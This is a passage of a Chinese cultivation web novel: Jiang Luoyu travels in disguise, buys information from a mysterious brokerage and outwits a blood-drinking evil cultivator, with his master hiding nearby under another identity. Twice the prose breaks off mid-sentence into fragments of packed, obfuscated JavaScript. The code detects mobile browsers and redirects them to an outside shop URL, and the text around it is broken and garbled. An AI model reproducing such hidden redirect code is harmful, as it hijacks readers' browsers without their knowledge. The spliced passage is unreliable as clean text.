他要去的云泽洲位于太极洲东南部,两洲之间隔着一整片归云海。海上又多妖兽,少陆地。凭他金丹初期的修为,乘坐现在的这种飞舟,在海上走不了几天就得命丧妖兽之口。 所以他得先去太极洲东南沿海,换乘往返于各个洲的大型飞船。每个飞船里都有合体真君坐镇,比他一个人在海上乱逛要靠谱多了。 也不知当年丛明雪明知他身份有异,又为何要把他从秘境带回来。在改功法的日子,他问也没问出来什么,丛明雪一提起这个话题就闭口不言,再问就直接遁走。 姜洛玉调整好方向,叹息着躺回竹椅,掐算了一下时间。 从天正宗出发,坐飞舟大概要两个月才能到达沿海,到达云泽洲更是一共需要六个月。姜洛玉权衡再三,反正距离三清秘境开启还有一年半的时间,他不如借机在路上游山玩水一番。 —— 十月十五,正值双月悬天的日子。 日落西山,阳火城的守城修士正准备关上城门,就被一道声音打断。 “前辈,等等!” 守城修士望过去,看见了个唇红齿白的漂亮少年,只有练气修为,风尘仆仆满头大汗,穿着破旧的法衣,还背着个小包袱。 有些像他家中小辈。 他招招手:“快进来,外面这几天不安全。” 少年瞪圆了眼睛,加速跑到进阳火城,递给守城修士几块下灵石,气喘吁吁道:“前、前辈……这是我的入城费。” 守城修士将灵石推了回去:“不必了,你有这个灵石还不如为自己添置一身法衣。这灵石我替你出就是了。” 少年下意识捂住法衣腰间补丁上的破洞,脸红到了耳根:“那就……多谢前辈了。您刚才为何说外面不安全?我这几日光顾着赶路,也没注意这类消息。” 守池修士:“最近有邪修在各个城池掳掠少男少女,人还没抓到,像你这样年轻又没什么修为的修士是那邪修首选。” 少年原本通红的脸瞬间白了下来,拱手道:“多谢前辈提醒,在下不胜感激!没什么好报答前辈的,只有在秘境采到的灵草,还请前辈不要嫌弃。” 守城修士瞥见少年从包袱里扯出来的干巴巴的灵草,有些好笑。这孩子果真是刚修炼,竟都不知道灵草需要用储物戒保存才能不让其内灵力流失。 这么保存下来的灵草用都用不了,更别提卖上好价钱。 他罕见地升起一丝怜悯,将灵草收好又翻出个自己早就用不上的储物戒扔给少年:“下次记得用这个装灵草。” 少年手忙脚乱地拿好储物戒,声音哽咽:“前辈……” “快走吧,我要散值了。”守城修士挥挥手,不去管少年如何感动,先一步离开城门。 守城修士走后,原本眼眶微红的少年瞬间平静下来。 他抛着手里的下品灵石,绕过阳火城的车水马龙和行色匆匆的人群走到一处暗巷。踏入暗巷后,身形拔高变成眉眼含笑的青年,身上的破旧法衣也焕然一新。 少年正是姜洛玉。他这些日子一路走走停停逛了几个城池,在上个城池听说阳火城的灵食异常鲜美,就想着过来瞧瞧。扮作穷困潦倒的散修少年只是突发奇想,顺便试试万相道在下界的表现。 好消息是万相道在下界进化了,同境界的人都无法识破他的幻形,若是用上他储物戒里遮掩气息和模拟气息的法宝,比他境界高的人也就看不穿。 而送给那守城修士的灵草其实是结婴丹。他观那修士困于金丹许久,差那一丝机缘,正好他储物戒里有结婴丹,就送了过去,也算是做个善事。 至于那修士用不用,又或是敢不敢用,就不关他的事了。 没想到还得了个邪修出没的消息。 一柱香后。 异常圆满的双月刚露出一角,阳火城的夜市就挂上了明灯,小商小贩如鱼入海般支起了自家摊位,还有杂耍艺人在街上表演什么“吞火术”。 “火烧!练气一层炎火兽做的火烧,好吃不贵,一个只要五灵珠!” “糖水,凡品灵桃做的糖水!一碗只要一灵珠!” “米糕!新鲜出炉的米糕!用净月泉水蒸出来的米糕!” 姜洛玉逛了一整条街,被久违得烟火气扑了满脸。他穿越的这个世界是个高魔世界,不只体现在仙界,修真界更是如此,修士占据了总人口的五分之三,十个人里能有六个可以入道的,就是大多数入道之后也只能止步练气一二层。 街上那些杂耍艺人几乎都是练气一层的修士。 喝完手里的果饮,姜洛玉站到米糕摊位旁边:“老板,来一屉红果米糕。” 老板手脚麻利地装了一屉米糕,递过去:“仙长您拿好。” “老板,阳火城有什么打探消息的地方吗?”姜洛玉随口问道,扔过去几个灵珠,捏了一块米糕放进嘴里。 甜滋滋的,口感居然诡异地有些像果冻。 此时双月已然高悬,夜市上看不见十几岁的少男少女,全都是成年人在往来。 老板思考片刻,挠头道:“仙长若是要打探消息,去梨园街吧,那里的乘风阁专门做这个。” “多谢老板。”姜洛玉又塞了几个灵珠给老板,慢悠悠地走着,吃完米糕才到了梨园街。 梨园街听着像什么听戏的地方,实际上是花楼一条街,进去能闻到满街的脂粉气,只有街头有个正儿八经的梨园。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14628961|156250||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 乘风阁藏在梨园街深处,外表和别的花楼没什么区别,除了匾额格外古朴破旧。 姜洛玉避开好些个姑娘小倌扔过来的手绢,绷着幻化后的脸推开乘风阁的门。 “前辈这边请。”训练有素的侍女引着姜洛玉上了楼。 刚踏上吱嘎作响的楼梯,周围景色一变,换成了一间只能容纳三四个人的房间。 房间和牌匾一样朴素雅致,里没有人,只有一套桌椅,桌面摆着笔墨纸砚。 姜洛玉坐到椅子上,润了润笔,龙飞凤舞地写下想问的问题。 “药辛仙尊为何满头银发?” “阳火城附近的邪修都做了什么?” “关于三清秘境的消息。” 待到姜洛玉停笔,宣纸上的字迹转瞬即逝,像是从来没出现过。 十几个呼吸后,宣纸上重新出现了一行金色字迹——“三个问题,总计一万五千极品灵石。” 姜洛玉摸了摸下巴,提笔在下面回复道:“狮子大开口,给我个理由。” “第一个问题过于机密,除了你不会二次贩卖。” 姜洛玉意外道:“封口费?还算便宜。” 说罢掏了掏储物戒,在桌子凭空出现的盘子上放下个储物袋,里面正正好好是一万五千极品灵石。 他这储物戒里,装着各式各样的天材地宝、法宝丹药,灵石更是堆了好几座山。 全都是丛明雪准备的,落雪峰三个弟子每人一个。这些东西对丛明雪一个渡劫修士来说不过是毛毛细雨。 而他愿意给乘风阁一万五千极品灵石,并不是他钱多到没地花。而是因为乘风阁背后的势力是号称无所不知的天机岛。 天机岛相当于一个大型宗门,里面的弟子所修之道为命道——算天机,观过往,卜未来。 因着他们的特殊道统,这些弟子即便相隔万里,也能互相传递信息,并且这些信息能够积累在岛上的禁地里传下去。 许多年前,天机岛因为道统的特殊被叛徒暴露,曾经面临着一次灭岛危机,最后还是这群命修集体献祭寻求天道护佑,才得了天道一丝垂怜。 从此之后,命修能看能听却不能轻易开口,倒霉点的听也听不见。 只有在有人付出代价作为交换时,他们才能短暂发声,共用的还是同一声线。 于是乘风阁便应运而生,没有比命修更适合买卖传递消息的人了,并且买家还不能把自己买到的消息二次传播。 乘风阁也会选择性地卖出消息。这就涉及到他们玄之又玄的道统了,外人无从得知规律。 放上去的储物袋眨眼间消失不见,不出一刻钟,飘渺空灵的声音出现在空气里—— “其一,药辛仙尊当年成为渡劫修士后一夜白头。外人尽道是仙尊无情道出了差错,实际上,是药辛仙尊恢复了本体的发色。” “药辛仙尊本体乃是——” “下一个问题吧,这个说出来就没有意思了。”姜洛玉微笑打断,这消息有些超出他预料之外了。 “其二,邪修抓取数百少男少女吸取精血,为了修炼血煞邪功,如今功法大成。” “其三,无可奉告。” 姜洛玉:“……” 乘风阁在吗?他要投诉有人欺诈消费者。 11. 穿越第十一天 “最后一个问题你分明没回答,为何还要收钱?”姜洛玉面无表情地写下疑问。 这回声音消失了,宣纸上浮现出新的字迹:“岛主说您师尊欠他人情,还不了人情就先还钱。” 姜洛玉:“……” 上一次这么无语,还是他养的狗把屎拉到猫脑袋上的时候。 “既然是岛主的意思,那晚辈就先告退了。”姜洛玉只得继续写道,“晚辈下次看见师尊的时候,会提醒他要还您人情。” “不必。” 金光闪闪的回答这次出现得比上次要快,不过换了一种字迹。字形刚劲有力,落笔有如惊涛之势。 姜洛玉放下笔,对丛明雪欠天机岛主“人情”这件事保持怀疑。 离开乘风阁,前后不到半个时辰,阳火城依旧灯火通明。 作为一个中型城池,又没有宵禁,此地不知不觉间就成为了来往旅人歇脚的地方。 姜洛玉走着走着就在角落又变幻了一副身形,变成了满脸病气的柔弱少年,披上绣着异兽的大氅。 万相道幻化身形的功能,其实和游戏捏脸差不多,他能靠着现世的美术功底把自己从上到下捏个便,无相球亦是如此。 他边走边咳,耷拉着眉眼,一副病歪歪的病鬼模样,把遮掩和模拟气息的法宝打开,又把无相球变成折扇捏在手里。一双上挑的狐狸眼打量着街上来往的穿搭别具一格的修士和凡人,还有几个露出一部分原形的妖修。 按照仙界仙魔不容的风气,他本来以为修真界也差不多,没想到修真界这些年演变下来,人、魔、妖修已经和谐共处了。 就是魔修偶尔作妖,妖修看不起混血,人修……人修也看不起混血。 “兔崽子你站住!” 急躁的声音从身后传来,姜洛玉偏身躲开了流着火光的飞剑,没等他看清是谁扔的剑,转身就被人撞了个满怀。 他十分符合人设地向后倒了倒,嗅到淡淡的血腥味儿后又把身子直了起来,转弯的飞剑直扎在他弹开的护身结界上碎了满地。 “这位道友,”姜洛玉稳稳扶着撞到他胸前的少年,声音轻柔,“你还好吗?” 少年也是金丹初期修为,看着和他差不多大,声音和气质一样冷淡:“多谢。” 姜洛玉看清后瞳孔微缩,眼中划过一丝震惊,抓着少年的手臂刚要开口—— “小王八蛋你、你赔我灵剑!” 姜洛玉放开少年,对上后面怒发冲冠的金丹后期修士:“前辈,稍安勿躁。这剑是在下的结界毁坏的,不如先让在下了解一下情况?” 王寻方正的脸瞬间扭曲:“还不是这兔崽子骗老子,说什么他卖的是中三品冰魄草,我呸!就是棵杂草罢了。这事儿和你没关系,你别多管闲事,快起开让我找这小子好好算账!” “我没骗你。”少年板着脸语气认真,一双凤眼漆黑,看不见光亮。 王寻气得脸都红了,二话不说想越过姜洛玉去抓他身后的少年。 电光石火间,姜洛玉脑中划过许多念头。他这个人怕麻烦,按理来说把少年推出去然后转身离开才是最好的选择。 可他没这么做,而是抬起扇子拦在少年身前,挡下王寻不知道什么时候又掏出来的灵剑。 灵剑和折扇碰撞的清脆嗡鸣传遍了整条街,街上零散的摊贩早就拽着自家摊位向两边躲了又躲,行人也绕道而行,只有几个人站在旁边看热闹。 仅仅几个呼吸,两人之间就过了数十招,折扇冒出的冰刃如雨点般飞向王寻,姜洛玉边出招边注意少年的动向。 很好,少年正站在街边安安静静地看着他们打架,打着补丁的衣服配上一副面瘫样倒是显得有些可怜。 王寻没想到长得像个痨病鬼的人这么能打,咬了咬牙,打算趁着护卫队没来,再打几下就溜走。 “干什么呢?阳火城禁止私斗!”巡逻的护卫见街道中间空了一大块儿,出声制止住还在打架的两人。 姜洛玉从善如流地停住攻击,打开结界把王寻蹦飞出去。 王寻凄惨无比地喷出一口血。 “前辈,可不是晚辈先动手的。”姜洛玉无辜摊手,变幻之后雌雄莫辨的脸白得吓人,“在场的都能作证,而且晚辈还用法宝录下来了。” 巴掌大的玉葫芦出现在姜洛玉手中,接着飞到半空吐出一段影像,看下来确实是王寻最先动的手。 护卫队长看见姜洛玉手里冒着七彩宝光的极品留影法宝,眼皮抽了抽,知道对面金丹修为的少年不是自己得罪得起的,决定小事化了:“阳火城内斗者,要么进监牢服刑十日,要么缴纳一百上品灵石。” “你们两个选一下吧。” 王寻好不容易爬起来,听见护卫队长的话又喷出一口血。他一介散修哪有那么多钱啊!原本是看那少年不懂行情贱卖灵草,他想着捡个漏,之后发现少年似乎拥有更多灵草,就起了杀人夺宝的心思。 虽然阳火城禁止私斗,但只要不被护卫修士发现也不被举报,都是睁一只眼闭一只眼的事。怎么他今天偏偏碰上了这么个多管闲事的煞星! 姜洛玉注意到王寻恶狠狠的目光,回看过去,眼中的狠意不比王寻差。 见王寻被自己看得后退一步,他才换上一副温和的表情,摸出灵石递过去:“那晚辈就选择缴纳灵石好了。” 护卫队长收好灵石,拎着如同死狗一样的王寻离开了街道。 “多谢道友搭救。” 姜洛玉摇摇头,面不改色心不跳地开口:“谢就不必了,我废了好大力气救你,你打算怎么报答?” 少年抬头盯着姜洛玉的脸,盯得姜洛玉都怀疑自己是不是把五官捏歪了,才回答道:“我没有灵石,只有灵草能赔给你。” 看着少年递过来的储物戒,姜洛玉一头雾水的碰了碰,发现这储物戒居然还是不能认主的残次品。用神识扫了扫,里面满满登登都是冰魄草,还都是极品。 姜洛玉:“……” 他好像知道刚才的修士为什么要追着少年跑了。 姜洛玉:“我用不上这个。” 少年面露茫然:“那我没有其他东西能给你了,我——” “不如你护送我去云泽洲吧。”姜洛玉琥珀色的眼珠转了转,“你原本打算去哪里?其实也不算是护送,我只是想找个人一起去云泽洲。从这儿去云泽洲要做四个月的飞船,一个人太无聊了。” “你陪我到云泽洲就好了,而且跟在我身边我肯定不会亏待你,这一趟下来能给你三千上品灵石。对了,我见你身上带着剑,你是剑修吗?” 少年点点头。 姜洛玉:“你们剑修都不爱笑吗?我师尊也不爱笑,和冰块儿一样,还整天都看不见他的影子。” 少年的黑眸颤了颤,嘴角努力勾起弧度,几秒后以失败告终。 姜洛玉借着咳嗽遮掩住弯起的嘴角,轻声道:“我名沈玉洛,道友你呢?” 少年:“江映山。” 姜洛玉挑眉:“好名字 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14628962|156250||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。不过江道友,你还没回答我第一个问题。” 江映山看看姜洛玉,又看了看背后已经生出裂纹的剑,点头道:“好。” 顺利“忽悠”到一个同行的队友,姜洛玉先带着江映山先去了街上的成衣店,给他置办了一身新法衣。 玉白色的法衣衬得少年更加长身玉立,比刚才衣衫褴褛的时候顺眼了不知多少倍。周身气质倒是没有变化,依旧像是个行走的冰箱,无时无刻不在释放冷气。 姜洛玉摸着下巴一言不发,又买了十几套颜色各异款式不同的法衣,全都塞进给江映山准备的储物戒里。 两人离开成衣店又去了灵宝阁修缮江映山的佩剑,留意到江映山修好佩剑后鲜活几分的神情,姜洛玉没绷住,“噗嗤”一声笑了出来,笑得眼角溢出泪水。 “小山……”姜洛玉一下靠在了江映山身上,捂着心口虚弱道,“怎么办啊,我的心口好疼。” 江映山似乎对姜洛玉自来熟的“称呼”没什么想法,语气波澜不惊:“你的药在哪儿?” “在这儿。”姜洛玉凑到江映山耳侧,轻声开口,“我没力气了……你喂我。” 看着江映山耳尖红得快要滴血却不敢闪躲的样子,姜洛玉直接整个人趴在他背上,将模样精致的药瓶递到他面前。 圆滚滚的丹药送到嘴边,姜洛玉张嘴吞了下去,唇瓣张合间状似不经意触碰到修长带着薄茧的手指,没等对方做出反应,直接站了起来。 “小山你今年多大了?”姜洛玉整理好有些凌乱的法衣,一本正经道。 江映山:“十九。” 姜洛玉:“我比你小一岁,既然你比我大,我就叫你江兄好了。” 江映山绷着脸点头。 沿着长街找到一家客栈,两人一进去就受到了大堂所有人的注目礼。那些目光多数都是诧异,还有些是嘲讽。 姜洛玉适应良好,知道这些人为何这么看他们两个,无非是奇怪大晚上他们这个年纪的修士还敢在外面乱逛。倒是江映山眼中浮现出明显的疑惑。 “老板,两……一间天字房。”姜洛玉扔了几块极品灵石过去。 老板抬头看了一眼,见是两个少年模样的金丹修士,提醒道:“两位仙长,近来阳火城不安宁,晚间还是少出门为好。” 姜洛玉:“多谢老板提醒。” 房间开好后,姜洛玉拉着满脸纠结的江映山去了天字二号房。 “我可以住……” “不可以,”姜洛玉笑眯眯地把江映山拉进房间,“你可能不知道,最近阳火城有邪修作祟,专门挑我们这样年轻的修士下手。” “掳走就是个死,你得保护我。” 江映山面露震惊,抱剑点了点头,又反驳道:“客栈有城主设下的法阵。” “万一那邪修能钻空子呢?” 江映山哑口无言。 天字房的床大到能睡下三四个人,于是姜洛玉在中间放了床多余的被子,自己爬到了里侧。 “舟车劳顿,江兄快来睡吧。”姜洛玉侧躺着眼含笑意,拍了拍外侧的位置。 江映山:“不必,我今晚修炼。” 姜洛玉:“也好。” 夜半,姜洛玉在窸窸窣窣的声音中睁开眼,看见被血影包了个严实的江映山,以及同样被血影裹得像粽子的自己。 见江映山露在外面的脑袋上神色依旧平静,姜洛玉忍不住叹气——看来这种程度的小打小闹,根本不能让某人露出马脚啊。 12. 穿越第十二天 血影用肉眼看上去是个朦胧模糊的人形生物,胳膊拉伸当做捆人绳子。捆住他的部分异常坚硬,让姜洛玉生出被锁链缠住的错觉。 他将灵力附着在胳膊处挣了挣,不但没挣开,身体里储存的灵力反倒被血影吸收大半。 脑中划过在乘风阁得到的邪修功法为“血煞邪功”的消息,他几乎可以确认这诡异的血影就是那邪修搞出来的。 “江兄救命!” 姜洛玉扯着嗓子状似惊恐,奈何手脚被困不能做出夸张的动作,被血影边拖边咳血。 “咚”得一声,两人撞到了一起。 “抱歉,我也挣脱不开。”江映山艰难开口,下一秒嘴也被血影缠住。 血影十分轻松地把两人从窗户拖出了客栈,明明街上还有行人,那些人却像是没看见他们一般。 姜洛玉通过眼前仅剩的一丝缝隙观察着血影。 血影来到城门口,简单粗暴地拎着他们两个跳了去,切豆腐一般用手指划开结界,把他们拖到了城外。 姜洛玉看清血影的动作,顿觉不妙。这结界炼虚的修士想撕开口子都得废上大力气,这血影气息分明和元婴修士相差无几,怎么如此轻易? 血煞邪功当真如此神奇? 姜洛玉还想再看,眼前的缝隙就被堵了严实。 黑暗中,他能感受到自己在被血影拖行,后背结实的划过夯实的土地,还有杂乱的草丛。好在法衣质量逆天,不会被这些俗物毁坏。 他开始整理自己手里关于邪修的信息。除却乘风阁的消息,他还从路边的乞丐口中得知邪修在仙盟的抓捕下也没能落网。 仙盟贴出告示说邪修虽然只有元婴修为,但功法诡谲,让城中的少年人尽量去城主府先避难。 而他现在只有金丹初期修为,境界差距太大,硬碰硬显然不太合适。 就算有无相球在手,这东西目前受限太多,也只能发挥出和他境界相同的攻击力。 问题是如今灵力被血影吸干了,除了衣服里揣着装死的无相球,他拿不出别的武器,到时候…… 姜洛玉有一点后悔,如果他在入住客栈后就把储物戒里的能防住渡劫灵君的灵宝打开,现在就不用被人像死狗一样拖行了。 计划赶不上变化。 为了刺激一下“江映山”,他不得不出此下策。 按照乞丐的话,阳火城所以少年人都被安排在城主府。城主可是合体真君,邪修脑袋进水了才会去城主府抢人。 他大摇大摆进了客栈,邪修没离开此处的前提下,不得闻着味儿就跑过来? 如今被抓,他要是自救失败,起码他的好“师尊”,不会真看着他真的折在邪修手里——江映山就是丛明雪。 当初在大殿确认丛明雪身份用的法术,用过一次,此后神魂碎片察觉到本体就会出现异动。 那“慌不择路”的少年撞进他怀里,他身体里的神魂碎片和疯了一般震颤,猜不出来就真成傻子了。 黑暗持续了不知多久,“扑通”两声过后,姜洛玉被血影摔在了地面。 他顺势挣扎着坐起,发现这地方是个山洞。浓郁的血腥味儿从山洞一角传来,腥气的源头是个血谭,里面还在咕噜咕噜冒着血泡。 血谭旁边绑着好几个十五六岁的少年人,有凡人也有修士。修士的修为都在练气,这些半大的孩子全都脸颊凹陷,面色灰败,像是失了魂的木偶。 血影收了自己的胳膊,用缚灵绳把姜洛玉和“江映山”结结实实绑住,撸下他们身上的储物戒和武器,才丢垃圾般把两人扔到人堆里。 人堆静悄悄地,没发出丝毫声响。 等到血影离开山洞,人堆才响起低低的啜泣和耳语声。姜洛玉张望了一下,用肩膀碰了碰离他最近脸颊下凹的少年:“道友,这血影是那邪修功法所化吗?” 陈书达看了姜洛玉一眼,见是个病恹恹的公子哥,金丹修为虚浮得很,淡淡道:“你知道也没用。再过两天等人凑齐,我们都得变成血谭的养料。” “还是说,你有什么办法联系族中长辈来救我们?” 姜洛玉咳了咳,眼角溢出生理性的泪水,咬着下唇虚弱道:“没办法,可我不想等死。就算是死在邪修手下,道友不如让我做个明白鬼。” “或许……我听了能有法子救大家出去。” 陈书达对上姜洛玉异常坚韧的表情,仿佛看见自己面前绽开了一朵不染纤尘的雪莲,将原本的嘲讽咽了下去:“血影确实是邪修功法所化。” “那邪修有元婴后期修为,我被血影捉来此处时,他正在炼化上一轮抓到的少男少女。血影将我扔到地面,就钻进了邪修体内,那邪修炼化成功跳进血谭,吸干了里面的血才出来。” “被他抓到山洞的人都是他的血食,每天挑一个喝血,人齐了才会再度开启血池修炼。” 姜洛玉:“没了吗?” 陈书达点头:“这些就是全部了,其他人也没我知道的多。” 姜洛玉:“那邪修长什么模样?” 陈书达:“不知道,他每次来这儿都带着面具。” 姜洛玉轻声道了声“多谢”,移动到江映山身边靠到他身上:“江兄,有什么头绪吗?” 江映山——或者说丛明雪,他挺直腰背让身上的人能靠得更加舒服些,回道:“没有。” “没关系,我有。”姜洛玉侧过头,对着江映山的耳朵继续说着,“邪修戴着面具,这说明……” “他长得丑,怕见人啊。” 微弱的气流擦过耳畔,丛明雪不动声色地把头向外侧偏了偏,避开自家徒弟的耳语,回道:“有可能。” “哈哈……我在玩笑,江兄别这么认真。” 两人没谈上几句,更加浓郁的血气从洞口传来,熏得姜洛玉直闭气。山洞内散发着幽光的法宝熄灭了,霎时间寂静无声。 “新来了两只……小老鼠。” 低沉的男声传来,连带着一道高大的身影背对着月光也踏了进来。 姜洛玉:“……” 他想用无相球打爆这人的脑袋。 借着月光,他能很清晰地看见进来的男人脸上带着夸张的鬼面,青面獠牙不足为过。修为倒是和刚才那少年说得一样,在元婴后期。 邪修用极其挑剔的眼光把新抓来的两个血食从上到下看了一遍,又用功法感受了他们体内的气血。果断放弃看着没几天好活的姜洛玉,朝着丛明雪走去。 姜洛玉看准时机倒在了邪修面前,顺道喷出口血。 邪修停住脚步没再动作,似乎是在思考什么。几息后,掐着姜洛玉的脖子把他拎起来:“既然你这么主动,那就你先来吧。” “不要……前辈,我、我有好多灵石,我把它们都给你,你放我走吧!”姜洛玉从牙缝里挤出想好的台词,因为缺氧红了眼睛 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还附赠了万相道的副作用——闻见这味道的人都会对他心生好感,会不经意间把他当做最思念最重要的人。 想吸他的血,先掂量掂量自己能不能受得住吧。 不过邪修吸了他的血反应这么大,倒是让姜洛玉很意外。那邪修这么在意他是“混血”,说明他修习的功法大概率只能喝人血。 邪修恨不得杀了地上的人,可是刚想下手,恍惚间又看见了自己早早去世的老娘的脸。 他修炼的功法只能吸收纯人类的血,沾上一点其它的血脉,功法就会逆行。奇异的感觉拉扯着他的良心,功法逆行加速,他只能全部灵力都用来压制。 见邪修甩袖离开,过了一会儿姜洛玉身上的缚灵绳断成了几段,在众人震惊的目光里走了过去。 他先是邀功一般蹲到丛明雪面前,一边解绑一边笑道:“如何?江兄,我厉害吧。” 丛明雪垂下眼睛,看向姜洛玉的腰带:“厉害。” 那里藏着一股奇特的气息,方才姜洛玉动用的时候他才察觉到,他身上竟然还藏着法宝。 陈书达的大脑一片空白,见姜洛玉走过来给自己解绑,怔怔道:“你怎么做到的?” 姜洛玉:“秘密。” 给洞府里的少年人挨个解绑,姜洛玉打坐吸收了一会儿灵气,睁眼看见的就是围在洞口的众人。 “该死,那邪修的结界我们根本破不开!”少女扬着眉毛,踹了发光的结界一脚。 这十几个少年人里,只有一半儿是修士,剩下的几个普通人见好不容易得来的希望破灭,开始抱作一团哭泣。 陈书达也是一脸绝望,能在山洞里自由活动,不代表能逃出去,更别提那邪修不知何时折返。 众人焦灼间,血影猛地出现在结界外。 它歪着脑袋,有些疑惑为什么今天的血食自由活动了。但它没有脑子深入思考这个问题,遵循着主人的吩咐,划开结界打算把血食都抓起来。 “血影。”带着鬼面的高大男人挡在众人身前,“把他们的东西都拿过来。” 血影:“……?” 是主人的气息,可是它明明刚从主人那边过来。 “需要我再重复一遍吗?” 血影摸摸脑袋,转身四肢并用地离开了山洞。 众人:“……?!” 13. 穿越第十三天 “魔、魔头!你把……”陈书达话没说完,就看见对面的邪修摘下了面具。 面具后是一张少年人的脸,搭配成年男子的身躯格外诡异,像是后接上去的一样。 姜洛玉晃了一下又戴上面具:“诸位冷静,这只是在下的功法。” 躁动的众人这才恢复平静。 见山洞口的结界仍然处于撕裂状态,方才脚踹结界的少女开口道:“既然结界开了,那我们不如……借机出去?” 少女越说底气越不足。首先他们并不知道这里是什么地方,其次这十几个人全都元气大伤。修士没有灵力靠着肉身力量还能走上一段时间,那些凡人可是连逃跑的力气也没有。 虽说修真界弱肉强食,但这些日子众人相互扶持,早就生出了情谊,不能眼睁睁看着有人留在山洞,可要是带着他们逃跑…… 众人显然也想到了这个问题,全都神色复杂,然后将目光投向姜洛玉。 毕竟刚才就是他赶走了血影,修为又在他们之上,还有如此玄妙的功法,说不准还能有什么办法让他们安然脱身。 陈书达作为这批最早被抓进来的,算是话事人,见状朝着姜洛玉恭敬行礼道:“前辈。” 姜洛玉摸着下巴笑道:“哟,现在知道叫我前辈了?” 陈书达脸涨得和烧红的铁球一般,头更低了:“晚辈方才一时糊涂,冲撞了前辈,还请前辈大人不记小人过。” “前辈若是能助我等脱困,我陈家可为前辈奉上丰厚的报酬!” “虚礼就免了。”姜洛玉对逗小孩子没什么太大兴趣,点到为止,“我确实有方法让大家毫发无损地离开此处。” “不过要等血影拿回储物戒。” 此时血影小小的脑仁里正在天人交战,它站在邪修面前把自己纠结成了一个球。 山洞里“主人”的身影和对面打坐的主人重合,就在它决定放弃姜洛玉的命令时,血影浑身一颤,猛地抬起脑袋,只剩下一个念头——储物戒! 血影直接抽条成细高的人形,恶狠狠扑向正在调息的邪修。 邪修被扑得喷出一口血,睁开眼睛骂道:“蠢货你在做什么!” 血影浑然不闻,压制住邪修,把他身上所有储物戒都翻了出来。。 “你、你……”邪修被气得说不出话,不知道血影抽什么疯。下意识运行功法想要控制血影,结果功法再度逆行,整个人喷出一口黑血晕了过去。 血影拿着一串储物戒开始艰难思考。 “主人”让他把那些人的东西拿回去,东西只有储物戒,它拿到了……但是主人就在他眼前,山洞、对,它要回山洞。 想通的血影选择把邪修一并拖回山洞。 山洞内,众人围在火堆旁烤火。 干柴是合力在山洞外捡的,姜洛玉在捡柴火的时候顺带着探查了一下周围的环境,不出所料,神识范围内都是些看不见边际的森林,还有各种气息强大的妖兽,单凭他们这群小虾米,走不了多远就能被妖兽吞进肚子。 在他开始第八遍数丛明雪的睫毛时,山洞口传来“嗵”得一声。血影回来了,不仅带回了储物戒,还有晕过去的邪修。 邪修的面具歪歪斜斜挂在脸上,姜洛玉瞥见下方布满红疮狰狞疤痕的脸,无声唏嘘,原来这邪修真是长得见不得人。方才没处找镜子照,现在倒是看了个清楚。 扶正脸上的面具,姜洛玉拿回储物戒,起身夸赞道:“做得很好。” 行动间,功法运行的感觉格外明显。他修炼的《太一万法无相诀》,一共分为五篇九转,每一转都对应着一个大境界。 就像是他现在金丹初期修为,《太一万法无相诀》的层次就在第三转。这些“转”和修为挂钩,随着修为的精进,他的模仿能力也会越来越强,从同境界看不出异常,最后能到只有天道才能分辨出来的地步。 不过这功法,要先在脑中对“五篇”有初步理解,才能正式修炼。 第一篇总述了何为“相”,借着由“相”引出何为万相道。 万相道的“万”只是个泛数,实际上他如果想,可以变成任何东西,无论是山川草木还是飞禽走兽,抑或是人魔妖鬼……还能够学习模仿其他人的功法秘诀——这就比较逆天了。 其它四篇分别为形、骨、力、魂。 形为表,骨为里,力为心,魂为精。 简单来说表就是皮囊,里是支撑皮囊的骨骼和气质,力是具备的能力,魂则是最独一无二的“精气神”和记忆。 表和骨他早在仙界就掌握得差不多了,“力”在丛明雪修改后多了一层限制,等他达到元婴修为才能学习。至于魂,“精气神”太过抽象,姜洛玉暂时只对记忆有所涉猎。 现在三转的实力,他只要和被模仿者接触建立联系,就能模仿高于他三个大境界的修士,妖兽之类同理。 那时邪修用指甲吸血时,姜洛玉就用无相球和他建立了联系,无相球又早早地把遮掩他真实境界和气息的灵宝吞进身体,就算血影是依托于邪修诞生的,面对他的幻化也察觉不出异常。 而且血影的反应显然说明它没有脑子,就更好忽悠了。再加上他万相道自带的亲和力和迷惑性,如今看样子已经彻底认他为主。 血影邀功般提起邪修,没有五官的脸皱在一起,像揉皱的纸团。 姜洛玉翻出极品补灵丹嚼了几颗,补满灵力又分给在场的修士,还找出补血丹给众人补满血条,最后把半死不活的邪修捆起,唤出飞舟招呼道:“走吧,挨个报一下家在哪儿,我送你们回去。” 飞舟升空,姜洛玉对比地图才了确认山洞所在地点,居然是阳火城东北方向的一处密林,靠着一条被人挖空灵矿的山脉。这地方人迹罕至,还有变异的妖兽,一般不会有人过来。 按照从邪修那儿得来的模糊记忆,要不是这功法能掩盖踪迹,这地方早就被仙盟发现了。 送完其他人,飞舟上只剩下一个家在阳火城的陈书达。 这孩子也是个倒霉蛋,那邪修在阳火城只抓了他一个人。抓完之后阳火城就戒严了,把十几岁的少男少女都安置到了城主府。 姜洛玉在躺椅上逗着无相球,等它扑过来就屈指弹走,几次过后,无相球给自己身上捏出了个表示委屈的颜文字。 一阵恶寒袭来,姜洛玉顺手把无相球塞回丹田。 “唔……” 姜洛玉踢了邪修一脚,勾起嘴角:“醒了,功法逆行的滋味不错吧?” 